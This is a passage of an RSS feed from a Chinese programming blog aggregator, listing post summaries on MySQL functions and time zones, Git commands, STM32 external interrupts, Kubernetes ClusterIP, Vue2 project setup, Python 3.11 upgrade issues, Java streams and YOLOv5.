&#39;王五&#39;, 22, &#39;浙江&#39;); INSERT INTO `student` VALUES (5, &#39;赵六&#39;, 24, &#39;福建&#39;); INSERT INTO `student` VALUES (6, &#39;张三&#39;, 24, &#39;浙江&#39;); SET FOREIGN_KEY_CHECKS = 1; 提出问题 平时开发中经常会遇到求总数的情况，mysql的count()函数能很好的解决我们的需求，例如查询姓名叫张三的总人数 select count() from student where stu_name = &#39;张三&#39; 现在改变上述需求，查询出姓名叫张三的总人数、地址为浙江的总人数、年龄为23的总人数。</description>
    </item>
    <item>
      <title>如何在一台电脑上安装两个mysql</title>
      <link>https://bchobby.github.io/posts/bbf6d0e8cf30f56e382546e0f58fbe38/</link>
      <pubDate>Tue, 29 Nov 2022 16:22:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbf6d0e8cf30f56e382546e0f58fbe38/</guid>
      <description>前言 现在网上大部分说的都是解压版的mysql，安装第二个mysql的时候，需要改大量的配置文件，环境变量之类的，这样操作总感觉不是很正规。&#xA;这篇文章介绍的是安装版的mysql，也就是说，之前用安装包安装了一个mysql，现在再用新版本的安装包安装新的mysql。&#xA;实际上也推荐使用安装版的mysql，安装版的有以下几点好处&#xA;安装时即可自定义软件安装路径及数据存储路径安装第二个mysql时不需要改配置文件、环境变量安装完软件后安装包还有用，可以很方便的升级软件版本、调整端口等，还有一些其它复杂操作 就比如改端口，安装第二个mysql时很可能会将第一个mysql的端口号改掉，如果采用安装包安装的mysql，那么改端口会变得非常的简单&#xA;安装第一个mysql 下载安装包，进行软件安装，注意软件的安装路径及数据的存储路径，可参考：https://blog.csdn.net/shuair/article/details/104603820&#xA;安装第二个mysql 与安装第一个mysql一样，下载安装包，进行软件安装，不过此时，运行安装包时，可能并不是安装的界面，可能是对第一个mysql升级的界面，点取消即可，最后会出现下面的界面&#xA;此时点击Add...（标记为1的位置）即可安装第二个mysql了&#xA;注意事项 两个mysql的服务名称及端口号要保证不同，软件安装路径及数据存储路径也要保证不同。&#xA;端口调整 如果需要改的端口号，可以运行安装包，进入到上图的界面，找到Quick Action列，点击对应版本mysql的Reconfigure（标记为2的位置）即可调整端口&#xA;细节：如果旧端口被占用（比如服务停掉后，端口被别的服务使用了），此时是修改不成功的，可以先将占用端口的服务停掉再进行端口修改（保证当前服务可以先使用一下旧端口）</description>
    </item>
    <item>
      <title>git使用机制?</title>
      <link>https://bchobby.github.io/posts/acdb8a3e49cd76493fb2b3c4979dba9b/</link>
      <pubDate>Tue, 29 Nov 2022 15:01:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acdb8a3e49cd76493fb2b3c4979dba9b/</guid>
      <description>git（版本控制系统VCS之一）使用机制是什么？ 前言：先介绍git基本命令&#xA;git clone, git branch, git checkout, (从远程仓库克隆全量代码到本地)&#xA;git merge, git pull, (从远程拉取代码合并到本地仓库)&#xA;git add, git commit, git push (把本地仓库增量代码，提交到远程仓库)&#xA;一、团队内协作图解&#xA;二、 跨团队协作图解</description>
    </item>
    <item>
      <title>STM32CubeMX之外部中断检测按键</title>
      <link>https://bchobby.github.io/posts/ebb59f864a5e6d6e8e96839b322a3c68/</link>
      <pubDate>Tue, 29 Nov 2022 14:33:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebb59f864a5e6d6e8e96839b322a3c68/</guid>
      <description>STM32CubeMX之外部中断检测按键 1.中断简介 中断，是指处理机处理程序运行中出现的紧急事件的整个过程。程序运行过程中，系统外部、系统内部或者现行程序本身若出现紧急事件，处理机立即中止现行程序的运行，自动转入相应的处理程序(中断服务程序)，待处理完后，再返回原来的程序运行，这整个过程称为程序中断。当处理机接受中断时，只需暂停一个或几个周期而不执行处理程序的中断，称为简单中断，中断又可分为屏蔽中断和非屏蔽中断两类。&#xA;STM32中断特性&#xA;● 68个可屏蔽中断通道(不包含16个Cortex™-M3的中断线)；&#xA;● 16个可编程的优先等级(使用了4位中断优先级)；&#xA;● 低延迟的异常和中断处理；&#xA;● 电源管理控制；&#xA;● 系统控制寄存器的实现；&#xA;嵌套向量中断控制器(NVIC)和处理器核的接口紧密相连，可以实现低延迟的中断处理和高效地处理晚到的中断。&#xA;Cortex‐M3 在内核水平上搭载了一个异常响应系统， 支持为数众多的系统异常和外部中断。其中，编号为 1－ 15 的对应系统异常，大于等于 16 的则全是外部中断。除了个别异常的优先级被定死外， 其它异常的优先级都是可编程的（所有能打断正常执行流的事件都称为异常）。&#xA;中断向量控制器， 简称 NVIC，是 Cortex‐M3 不可分离的一部分， 它与 CM3 内核的逻辑紧密耦合， 有一部分甚至水乳交融在一起。 NVIC 与 CM3 内核同声相应，同气相求，相辅相成，里应外合，共同完成对中断的响应。 NVIC 的寄存器以存储器映射的方式来访问， 除了包含控制寄存器和中断处理的控制逻辑之外， NVIC 还包含了 MPU的控制寄存器、 SysTick 定时器以及调试控制。&#xA;每个外部中断都有一个对应的优先级寄存器，每个寄存器占用 8 位，但是允许最少只使用最高 3 位。 4 个相临的优先级寄存器拼成一个 32 位寄存器。如前所述，根据优先级组设置，优先级可以被分为高低两个位段，分别是抢占优先级和亚优先级。优先级寄存器都可以按字节访问，当然也可以按半字/字来访问。有意义的优先级寄存器数目由芯片厂商实现的中断数目决定。 STM32F10xxx产品(小容量、中容量和大容量)的向量表&#xA;2.外部中断（EXTI） 对于互联型产品，外部中断/事件控制器由20个产生事件/中断请求的边沿检测器组成，对于其它产品，则有19个能产生事件/中断请求的边沿检测器。每个输入线可以独立地配置输入类型(脉冲或挂起)和对应的触发事件(上升沿或下降沿或者双边沿都触发)。每个输入线都可以独立地被屏蔽。挂起寄存器保持着状态线的中断请求。&#xA;EXTI控制器的主要特性如下：&#xA;● 每个中断/事件都有独立的触发和屏蔽&#xA;● 每个中断线都有专用的状态位&#xA;● 支持多达20个软件的中断/事件请求&#xA;● 检测脉冲宽度低于APB2时钟宽度的外部信号。 外部中断框图&#xA;要产生中断，必须先配置好并使能中断线。根据需要的边沿检测（上升沿、下降沿）设置2个触发寄存器，同时在中断屏蔽寄存器的相应位写’1’允许中断请求。当外部中断线上发生了期待的边沿时，将产生一个中断请求，对应的挂起位也随之被置’1’。在挂起寄存器的对应位写’1’，将清除该中断请求。 3.硬件设计 根据硬件原理图特实物，Tout0 ~ Tout4对应的GPIO口为PA4 ~ PA7。采用外部中断方式实现触摸按键检测。其中中断线分别为：</description>
    </item>
    <item>
      <title>k8s中Service ClusterIP ping不通？</title>
      <link>https://bchobby.github.io/posts/e293627b3048625aafbf311beb05e4cd/</link>
      <pubDate>Tue, 29 Nov 2022 14:19:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e293627b3048625aafbf311beb05e4cd/</guid>
      <description>一. Service的类型 先来看看《kubernetes权威指南》中对Service类型的介绍：&#xA;ClusterIP：kubernetes默认会自动设置Service的虚拟IP地址，仅可被集群内部的客户端应用访问。NodePort：将Service的端口号映射到每个node的一个端口号上，这样集群中的任意Node都可以作为Service的访问入口地址，即：NodeIP：NodePort。LoadBalance：将Service映射到一个已存在的负载均衡器的IP地址上，通常在公有云环境中使用。ExternalName：将Service映射为一个外部域名地址，通过ExternalName字段进行设置。 在权威指南中介绍到ClusterIP是供集群内部访问的，但有天我发现我环境里的ServiceIP在服务器上是能ping通的，那这难道是书上面写的有问题？ [root@k8s-master test-namespace]# kubectl get svc -n test NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE nginx-app-svc ClusterIP 10.96.240.115 &amp;lt;none&amp;gt; 8090/TCP 14d [root@k8s-master test-namespace]# ping 10.96.240.115 PING 10.96.240.115 (10.96.240.115) 56(84) bytes of data. 64 bytes from 10.96.240.115: icmp_seq=1 ttl=64 time=0.045 ms 64 bytes from 10.96.240.115: icmp_seq=2 ttl=64 time=0.035 ms ^C --- 10.96.240.115 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 999ms rtt min/avg/max/mdev = 0.</description>
    </item>
    <item>
      <title>vue2创建项目</title>
      <link>https://bchobby.github.io/posts/a973ee50b155782d064321ac51906bc1/</link>
      <pubDate>Tue, 29 Nov 2022 13:45:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a973ee50b155782d064321ac51906bc1/</guid>
      <description>目录&#xA;1、检查环境，是否安装node&#xA;2、是否安装脚手架，查询脚手架vue-cli版本&#xA;3、创建项目vue2-admin&#xA;4、配置项目：&#xA;4.1、vue.config.js配置&#xA;4.2、修改package.json文件&#xA;4.3、创建环境变量文件（.env.dev、.env.prod、.env.test）&#xA;1、检查环境，是否安装node： node -v 2、是否安装脚手架，查询脚手架vue-cli版本 vue -V或vue --version 如果之前版本是2.x或者1.x，需要先卸载&#xA;//卸载脚手架命令 npm uninstall vue-cli -g //安装脚手架命令 npm install -g @vue/cli 3、创建项目vue2-admin vue create vue2-admin 可以按▽键选择第二个Default默认配置按enter键，生成项目&#xA;可以自定义配置，按▽键选择第三个选项：Manually select features 按enter键&#xA;按▽键，按空格键选中&#xA;按enter键&#xA;选择2.x版本&#xA;按enter键&#xA;路由采用history模式，直接输入y&#xA;css编译器选择sass&#xA;Eslient选择标准模式 代码检查，选择保存的时候&#xA;配置文件存放地选择In package.json&#xA;将此保存为未来项目的预设?输入n&#xA;按enter 键&#xA;自定义配置可以按个人实际需求配置&#xA;4、配置项目： 4.1、vue.config.js配置 //添加基本配置信息以及跨域配置 const path = require(&#34;path&#34;); function resolve(dir) { return path.join(__dirname, dir); } module.exports = { publicPath: process.env.VUE_APP_BASE_URL, // 根地址，默认/ outputDir: &#34;</description>
    </item>
    <item>
      <title>windows改linux</title>
      <link>https://bchobby.github.io/posts/f30d2de94d52bf1f1e348926230ae80a/</link>
      <pubDate>Tue, 29 Nov 2022 13:23:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f30d2de94d52bf1f1e348926230ae80a/</guid>
      <description>使用旧的windows电脑改成linux机器，不使用双系统，直接格式化&#xA;本次需要两个U盘或者两台电脑。&#xA;制作WINPE启动盘 使用U深度制作启动盘，制作完成后进入PE系统，然后使用diskGenius删除所有电脑的分区进行快速分区，格式选择FAT32。选择多少个分区看个人需求 制作linux启动盘 使用新的U盘或者另一台电脑将之前的U盘改成linux启动盘&#xA;使用ultraiso制作linux启动盘。选择自己的linux系统，写入硬盘镜像，写入完成即可&#xA;安装linux系统 电脑开启重启，按esc，选择启动方式 U盘启动。进行linux安装。（install centos7）之后就是正常的centos7的安装流程了 遇到的问题 dracut-initqueue timeout 导致这个问题的原因是U盘的名称和install 步骤安装时U盘的名称对不上。&#xA;首先需要确认linux启动U盘的名称，然后在install xxx时按 E键，修改hd对应的U盘名称&#xA;linuxefi /images/pxeboot/vmlinuz inst.stage2=hd:LABEL=U盘名称 quiet linuxefi /images/pxeboot/initrd.img 注意，看自己的U盘名称是否带86_64，一般都是U盘没带，但是安装时默认有了导致的</description>
    </item>
    <item>
      <title>Git使用教程</title>
      <link>https://bchobby.github.io/posts/694de16d4a2cb2174a3abc1855eedd11/</link>
      <pubDate>Tue, 29 Nov 2022 11:37:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/694de16d4a2cb2174a3abc1855eedd11/</guid>
      <description>Git安装 Git - Downloads&#xA;创建本地仓库 git clone 克隆一个仓库&#xA;git init 初始化仓库&#xA;git add xx.txt 添加文件到暂存区&#xA;git commit -m “XX” 提交文件-m后面是描述&#xA;git status 查看文件状态&#xA;git push 上传推送文件&#xA;git pull 拉取代码&#xA;常用命令 git --version 查看是否安装成功&#xA;git config --global user.name “xxx”&#xA;git config --global user.email “xxx@xx.com”&#xA;git config --list&#xA;git remote add origin url 关联远程仓库(这个origin是远程仓库的默认习惯命名，可以修改的)&#xA;git push -u origin master 第一次推送master分支的内容&#xA;git push origin master url 推送（url后续可以省略）&#xA;git pull origin master url 拉取代码</description>
    </item>
    <item>
      <title>MySql常用函数总结</title>
      <link>https://bchobby.github.io/posts/90a992a671dd8f34bb8a0278af72cba5/</link>
      <pubDate>Tue, 29 Nov 2022 10:38:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90a992a671dd8f34bb8a0278af72cba5/</guid>
      <description>一.IF函数 IF(expr1,expr2,expr3) 用法：expr1是判断条件，expr2是符合条件后执行的结果，expr3是不符合条件执行的结果 例：select IF(1&amp;gt;0,&#39;yes&#39;,&#39;no&#39;)&#xA;该查询结果为：yes&#xA;二.IFNUll函数 select IFNULL(expr1,expr2) 用法：该函数用来判断expr1是否为null，如果为null则返回expr2，反之返回expr1 例：第一条SQL返回mysql，第二条返回hello world&#xA;select IFNULL(NULL,&#39;mysql&#39;) select IFNULL(&#39;hello world&#39;, &#39;mysql&#39;)&#xA;三.COALESCE函数 select COALESCE(value,...) 用法：匹配到第一个不为null的值直接返回 例：第一条SQL返回null，第二条返回3&#xA;select COALESCE(null, null, 1, 2, 3)&#xA;select COALESCE(3,null, 2, 1)&#xA;三.CASE...WHEN...函数 case &#39;字段&#39; when &#39;匹配的条件&#39; then &#39;匹配条件成功后&#39; else &#39;没匹配成功&#39; end 用法：相当于if...else if...else 或者 switch...case，用于条件判断。 例：&#xA;SELECT CASE sex WHEN &#39;1&#39; THEN &#39;男&#39; WHEN &#39;2&#39; THEN &#39;女&#39; ELSE &#39;未知性别&#39; END AS &#39;性别&#39; FROM test</description>
    </item>
    <item>
      <title>在Access中出现“由于数据表***需要一个相关记录，不能添加或修改记录”如何解决？</title>
      <link>https://bchobby.github.io/posts/8bb43a350a91a1ff848bdadebd6fd651/</link>
      <pubDate>Tue, 29 Nov 2022 07:38:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8bb43a350a91a1ff848bdadebd6fd651/</guid>
      <description>修改ACCESS表某条记录的某个字段的值。如图，修改借书登记的一个书号。&#xA;出现“由于数据表***需要一个相关记录，不能添加或修改记录”的原因是什么？我不清楚。总之通过以下步骤成功了：&#xA;1.关闭所有表/查询&#xA;2.打开关系编辑界面（数据库工具-关系），右键“图书”和“借书登记”的关系线，点“编辑关系”，取消完整性&#xA;3.修改要改的值，保存，恢复两表关系</description>
    </item>
    <item>
      <title>作业：单链表实现增删查改，以及链表数据的翻转</title>
      <link>https://bchobby.github.io/posts/22ca19060491ec367230c27e46dd57a8/</link>
      <pubDate>Mon, 28 Nov 2022 23:22:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22ca19060491ec367230c27e46dd57a8/</guid>
      <description>实现效果功能函数代码： #include&amp;lt;stdio.h&amp;gt; #include&#34;listlink.h&#34; #include&#34;stdlib.h&#34; //创建表 listlink *list_create() { //申请一个头结点 listlink *L=(listlink *)malloc(sizeof(listlink)); if(NULL==L) { printf(&#34;申请失败\n&#34;); return NULL; } //结点初始化 L-&amp;gt;len=0; L-&amp;gt;next=NULL; printf(&#34;创建成功\n&#34;); return L; } //判空 int list_empty(listlink *L) { return L-&amp;gt;next==NULL?1:0; } //遍历 void list_show(listlink *L) { //判断逻辑 if(NULL==L||list_empty(L)) { printf(&#34;链表不合法或为空\n&#34;); return; } //定义指针指向第一个结点开始遍历 printf(&#34;此时链表内的数据有&amp;gt;&amp;gt;&amp;gt;&#34;); listlink *q=L-&amp;gt;next; while(q!=NULL) { printf(&#34;%-4c&#34;,q-&amp;gt;data); q=q-&amp;gt;next; } printf(&#34;\n&#34;); } //申请数据封装结点 listlink *list_buy_node(datatype e) { //申请一个结点 listlink *p=(listlink *)malloc(sizeof(listlink)); if(NULL==p) { printf(&#34;申请失败\n&#34;); return NULL; } //申请成功，返回结点 p-&amp;gt;data=e; p-&amp;gt;next=NULL; return p; } //按位置查找返回结点 listlink *list_search_pos(listlink *L,int pos) { //判断逻辑 if(NULL==L||pos&amp;lt;0||pos&amp;gt;L-&amp;gt;len) { printf(&#34;</description>
    </item>
    <item>
      <title>ACCESS查询无重复数据</title>
      <link>https://bchobby.github.io/posts/5db5bd67f15bfc1aebb926bdde0a9cfa/</link>
      <pubDate>Mon, 28 Nov 2022 23:19:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5db5bd67f15bfc1aebb926bdde0a9cfa/</guid>
      <description>【Access入门】查询无重复,查询唯一值的示例【Access软件网】&#xA;这个网址上面有动画，网页是别人做的。关键步骤是在编辑查询的上半窗口空白处右键-属性-唯一值改为“是”。</description>
    </item>
    <item>
      <title>【Python】记录从3.9升级到3.11踩的坑</title>
      <link>https://bchobby.github.io/posts/58fa185265c16c906bbdb3b2b5f6751b/</link>
      <pubDate>Mon, 28 Nov 2022 23:04:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58fa185265c16c906bbdb3b2b5f6751b/</guid>
      <description> 写在前面的话：如果想体验python3.11，不推荐生产环境升级，可以现在测试环境试试看&#xA;环境变化 原始环境 Python3.9，有挺多安装的第三方库，有自己写的类和方法，程序一切运行正常&#xA;升级环境 Python3.11，考虑到第三方库可以重新安装，自己写的类和方法，用的都是比较常用的方法，不涉及到方法不支持的情况&#xA;升级方案 拷贝出自己写的类和方法文件，卸载Python3.9，清理环境变量下载Python3.11，直接安装，勾选添加环境变量安装完成后，吧自定义的类和方法放在Libs文件夹，然后安装第三方库 问题产升 1. lxml无法安装成功 众所周知，lxml是很多第三方库的依赖，安装不成功的话，严重影响当前业务的使用。经过多次查询，找到以下解决方案&#xA;直接从轮子构建轮子下载地址，这里有挺多常用的轮子，可以搜索下载需要的版本，根据自己的版本情况选择&#xA;前提，需要先安装wheel这个库，然后就可以从轮子构建了构建方法 pip install 轮子下载位置然后就大功告成了 2. connectorx 无法引用 这是一个比较优秀的数据库读取的第三方库，可以直接把数据读取为pandas.Dataframe 格式，读取速度一般是比较快的(部分情况下会慢一些)，数据量大的情况下，可以替代 pandas.read_sql()。我日常处理的数据在十万到百万级别，用的比较多&#xA;github地址&#xA;安装是正常的，但是只要引用，就报错。虽然告诉我哪里错了，但是我依旧无从下手&#xA;查询了版本，最新版是0.3.1，但是我安装的是0.2.3。看到作者更新比较频繁，就在想，是不是我版本没更新上去开始尝试各种更新方法&#xA;请原谅我，3.11无法安装最新版&#xA;不死心的我，继续探索，找轮子，结果发现打包环境没有3.11，最终放弃&#xA;3. ddddocr 这是一个非常不错的验证码识别库，github地址&#xA;无论怎么安装，就是失败&#xA;直到我翻到了底，我大彻大悟了，竟然不支持&#xA;最终我还是放弃了 结尾 可能还有一些我位置的坑，以及当前遇到的问题的其他解决方案，期待大家的留言反馈 </description>
    </item>
    <item>
      <title>Java8：流式编程</title>
      <link>https://bchobby.github.io/posts/c110510d7595e81c18343e5c10d8ac07/</link>
      <pubDate>Mon, 28 Nov 2022 20:40:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c110510d7595e81c18343e5c10d8ac07/</guid>
      <description>编写：HorinJsor&#xA;文章目录 前言一、流式编程二、实例1.基础三剑客 2.映射转换【 map() 】3.排序[ sorted((T, T) -&amp;gt; int) ] 总结 前言 本文介绍Java8的特性之【流式编程】。&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一、流式编程 流式编程是Java8的特性，可以替换传统的代码编写方式，提升可读性。&#xA;可以理解为梭哈（搞怪）。&#xA;Lambda： ( 参数 -&amp;gt; 执行方法 )&#xA;二、实例 1.基础三剑客 @SpringBootTest public class StreamTeat { /** 创建List&amp;lt;Apple&amp;gt;对象，以此示例展示流的操作 **/ public List&amp;lt;Apple&amp;gt; b(){ Apple apple1 = new Apple(&#34;red&#34;,200,&#34;cq&#34;); Apple apple2 = new Apple(&#34;red&#34;, 300, &#34;cd&#34;); Apple apple3 = new Apple(&#34;white&#34;, 900, &#34;gx&#34;); List&amp;lt;Apple&amp;gt; all = new ArrayList&amp;lt;&amp;gt;(); all.add(apple1);all.add(apple2);all.add(apple3); return all; } @Test public void a(){ //获取对象 List&amp;lt;Apple&amp;gt; all = b(); all.</description>
    </item>
    <item>
      <title>MySQL 数据库时间相差8小时</title>
      <link>https://bchobby.github.io/posts/a72da609d5091129f86eb79f754485a2/</link>
      <pubDate>Mon, 28 Nov 2022 15:27:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a72da609d5091129f86eb79f754485a2/</guid>
      <description> 方法一：通过mysql命令行模式下动态修改（重新mysql后可能会失效） -- 查询MySQL数据库时间 select Now(); show variables like &#39;%time_zone&#39;; --查看当前时区 -- time_zone | SYSTEM 需要修改 -- time_zone | +08:00 不需要修改 set global time_zone=&#39;+8:00&#39;; -- 设置全局时区为东八区 set time_zone = &#39;+8:00&#39;; -- 设置当前会话为东八区 flush privileges; -- 刷新权限 方法二：通过修改my.cnf配置文件来修改时区 # vim /etc/my.cnf ##在[mysqld]区域中加上 default-time_zone = &#39;+8:00&#39; # /etc/init.d/mysqld restart #重启mysql使新时区生效 </description>
    </item>
    <item>
      <title>Yolov5算法解读</title>
      <link>https://bchobby.github.io/posts/4e036c3b2ffb51d2e8a5c6361e3f252d/</link>
      <pubDate>Mon, 28 Nov 2022 15:01:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e036c3b2ffb51d2e8a5c6361e3f252d/</guid>
      <description>yolov5于2020年由glenn-jocher首次提出，直至今日yolov5仍然在不断进行升级迭代。&#xA;Yolov5有YOLOv5s、YOLOv5m、YOLOv5l、YOLOv5x四个版本。文件中，这几个模型的结构基本一样，不同的是depth_multiple模型深度和width_multiple模型宽度这两个参数。 yolov5主要分为输入端，backbone，Neck，和head(prediction)。backbone是New CSP-Darknet53。Neck层为SPFF和New CSP-PAN。Head层为Yolov3 head。 yolov5 6.0版本的主要架构如下图所示：&#xA;从整体结构图中，我们可以看到Backbone，neck和head由不同的blocks构成，下面是对于这三个部分，逐一介绍各个blocks。&#xA;1. 输入端：&#xA;YOLOv5在输入端采用了Mosaic数据增强，参考了CutMix数据增强的方法，Mosaic数据增强由原来的两张图像提高到四张图像进行拼接，并对图像进行随机缩放，随机裁剪和随机排列。使用数据增强可以改善数据集中，小、中、大目标数据不均衡的问题。&#xA;Mosaic数据增强的主要步骤为：1. Mosaic 2.Copy paste 3.Random affine（Scale, Translation and Shear) 4.Mixup 5.Albumentations 6. Augment HSV(Hue, Saturation, Value) 7. Random horizontal flip.&#xA;采用Mosaic数据增强的方式有几个优点：1.丰富数据集：随机使用4张图像，随机缩放后随机拼接，增加很多小目标，大大丰富了数据集，提高了网络的鲁棒性。2.减少GPU占用：随机拼接的方式让一张图像可以计算四张图像的数据，减少每个batch的数量，即使只有一个GPU，也能得到较好的结果。3.同时通过对识别物体的裁剪，使模型根据局部特征识别物体，有助于被遮挡物体的检测，从而提升了模型的检测能力。&#xA;2.backbone&#xA;在Backbone中，有conv，C3，SPFF是我们需要阐明的。&#xA;2.1.Conv模块 Conv卷积层由卷积，batch normalization和SiLu激活层组成。batch normalization具有防止过拟合，加速收敛的作用。SiLu激活函数是Sigmoid 加权线性组合，SiLU 函数也称为 swish 函数。&#xA;公式：silu(x)=x∗σ(x),where σ(x) is the logistic sigmoid. Silu函数处处可导，且连续光滑。Silu并非一个单调的函数，最大的缺点是计算量大。&#xA;2.2 C3模块 C3其结构作用基本相同均为CSP架构，只是在修正单元的选择上有所不同，其包含了3个标准卷积层，数量由配置文件yaml的n和depth_multiple参数乘积决定。该模块是对残差特征进行学习的主要模块,其结构分为两支,一支使用了上述指定多个Bottleneck堆叠，另一支仅经过一个基本卷积模块，最后将两支进行concat操作。&#xA;这个模块相对于之前版本BottleneckCSP模块不同的是，经历过残差输出后的卷积模块被去掉了，concat后的标准卷积模块中的激活函数也为SiLU。&#xA;Bottleneck模块借鉴了ResNet的残差结构，其中一路先进行1 ×1卷积将特征图的通道数减小一半，从而减少计算量，再通过3 ×3卷积提取特征，并且将通道数加倍，其输入与输出的通道数是不发生改变的。而另外一路通过shortcut进行残差连接，与第一路的输出特征图相加，从而实现特征融合。&#xA;在YOLOv5的Backbone中的Bottleneck都默认使shortcut为True，而在Head中的Bottleneck都不使用shortcut。&#xA;2.3. SPPF模块&#xA;SPPF由SPP改进而来，SPP先通过一个标准卷积模块将输入通道减半，然后分别做kernel-size为5，9，13的max pooling（对于不同的核大小，padding是自适应的）。对三次最大池化的结果与未进行池化操作的数据进行concat，最终合并后channel数是原来的2倍。&#xA;yolo的SPP借鉴了空间金字塔的思想，通过SPP模块实现了局部特征和全部特征。经过局部特征与全矩特征相融合后，丰富了特征图的表达能力，有利于待检测图像中目标大小差异较大的情况，对yolo这种复杂的多目标检测的精度有很大的提升。　SPPF（Spatial Pyramid Pooling - Fast ）使用3个5×5的最大池化，代替原来的5×5、9×9、13×13最大池化，多个小尺寸池化核级联代替SPP模块中单个大尺寸池化核，从而在保留原有功能，即融合不同感受野的特征图，丰富特征图的表达能力的情况下，进一步提高了运行速度。</description>
    </item>
    <item>
      <title>电脑上怎么录屏并保存？进来学习一下小技巧</title>
      <link>https://bchobby.github.io/posts/978dc972dc8da9d4ba5a7e174b94b97e/</link>
      <pubDate>Mon, 28 Nov 2022 10:23:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/978dc972dc8da9d4ba5a7e174b94b97e/</guid>
      <description>随着现在互联网飞速发展，我们在日常办公中经常需要电脑录屏的操作。电脑录屏就是需要把屏幕录下来保存在电脑上，然后进行分享查阅或者保存下来。然而最近有小伙伴在咨询使用系统自带的录制功能但是不知道文件会保存到哪里。那么电脑上怎么录屏并保存呢？下面就来唠一唠。&#xA;①.系统自带录制功能&#xA;想必小伙伴咨询的自带录制功能就是win+G的操作了，可以先点击win+I打开控制面板，在游戏板块中进入，开启系统录制的权限。&#xA;开启录制权限之后，我们就可以在需要录制屏幕的时候按下快捷键“win+alt+G”开始录屏，需要结束录制是按下快捷键“win+alt+R”结束后会弹出下载录制文件即可，但是系统自带的录屏不能设置录制文件的清晰度等属性，默认占用内存会比较大，电脑内存不大的小伙伴们还是不建议常用这种方法。&#xA;②.使用录屏工具&#xA;首先打开这款录屏工具，这里可以先预设需要录制的范围是全屏还是区域录制，免了后期再进行裁剪剪辑，接着点击面板右上角的“设置”按钮。&#xA;进入设置界面，在左侧列表中点击“输出目录”可以看到在输出目录后方点击“更改目录”按钮，在弹窗中选择需要保存的位置即可。设置好指定位置之后，再回到首页，就可以进行录制操作了，结束录制之后文件会自动保存在指定位置。&#xA;好啦，看到这里小伙伴们知道电脑上怎么录屏并保存了吗？经常需要录制屏幕的小伙伴们如果还有其他好用的方法的话也欢迎在评论区留言分享哦~</description>
    </item>
    <item>
      <title>对于xshell连接不上虚拟机的一些解答</title>
      <link>https://bchobby.github.io/posts/fbadac43a03304a2ed714afc182c2e00/</link>
      <pubDate>Mon, 28 Nov 2022 09:43:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbadac43a03304a2ed714afc182c2e00/</guid>
      <description>如果你发现你可以在虚拟机内ping通&#xA;之后，在你电脑dos下也可以ping通。&#xA;然而，还是发现你的xshell连接不上虚拟机。&#xA;这里使用ifconfig 我发现这个地址是在变化的，之前是129，现在是131，所以这样再到xshell，在连接属性那里，把地址改了就可以了，再重新连接，OK了。&#xA;本文操作环境：Windows7系统，xshell 5版本，Dell G3电脑。&#xA;xshell连接不上虚拟机的解决办法：&#xA;1、测试网络是否能够正常连接：&#xA;测试网络连接方式：&#xA;（1）使用xshell连接远程虚拟机，也无法连接；&#xA;（2）本地ping远程虚拟机ip地址，连接超时；&#xA;（3） 没有开启SSHD服务可以通过系统，在命令行中输入：service sshd status命令来查看该服务的状态&#xA;（4）在虚拟机中在命令行中输入：curl www.baidu.com 命令，可以访问外网地址&#xA;（5）检查虚拟机的防火墙是否开启，在虚拟机中在命令行中输入：systemctl status firewalld 命令查看防火墙的状态&#xA;2、如果sshd服务和防火墙都正常运行打开虚拟机管理界面，点击【管理】，选择【主机网络管理器】&#xA;3、查看网络IP设置，如果和远程主机里的IP地址配置一直，则将【手动配置网卡】改为【自动配置网卡】&#xA;4、此时再用xshell连接远程主机，可以正常访问，MySQL服务也可以正常访问了</description>
    </item>
    <item>
      <title>数学建模与谈恋爱</title>
      <link>https://bchobby.github.io/posts/cc4c4215701285ac2be0085aa58b96ee/</link>
      <pubDate>Sun, 27 Nov 2022 23:25:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc4c4215701285ac2be0085aa58b96ee/</guid>
      <description>我们提前了17小时提交了亚太数模的论文。&#xA;总结一下我在这次比赛的感受：&#xA;1. 我和现任打了四次数模，这次是第一次他写代码。与蓝桥杯时隔七个月，我第一次感受到自己对python的无力感。&#xA;2.因为代码是他写的，所以模型是他建的。写代码和用工具是经济基础，建模是上层建筑。没有经济基础，何来上层建筑？不明白为何各大学习媒体上网友和UP主都推荐一人建模一人编程。事实上，不会编程的人建模容易高估实现的能力，不会有比亲手编程的人更明白模型怎么建立的人了。&#xA;3.不会编程的人参加数模只能混。比如我这次花了大量时间纠正语法错误，最后还是被男友用curve 